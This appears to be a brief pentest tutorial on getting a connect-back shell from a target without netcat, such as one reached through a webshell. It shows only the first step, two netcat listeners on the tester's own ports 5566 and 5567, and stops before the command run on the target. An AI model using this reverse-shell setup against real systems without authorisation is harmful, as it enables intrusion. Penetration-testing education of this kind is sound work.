During pentest, we may we may not have netcat pre-installed on the target system.This situation often happens when we have got a webshell on the target . As we wanna get a connectback shell. One command is Enough. See example belows…

1. Listen 2 ports on your own system with netcat .

one shell we execute the following command:
akshell@linuxpentest.com:~$ nc -vv -l -p 5566
Listening on any address 5566

In another terminal we execute:
akshell@linuxpentest:~$ nc -vv -l -p 5567
Listening on any address 5567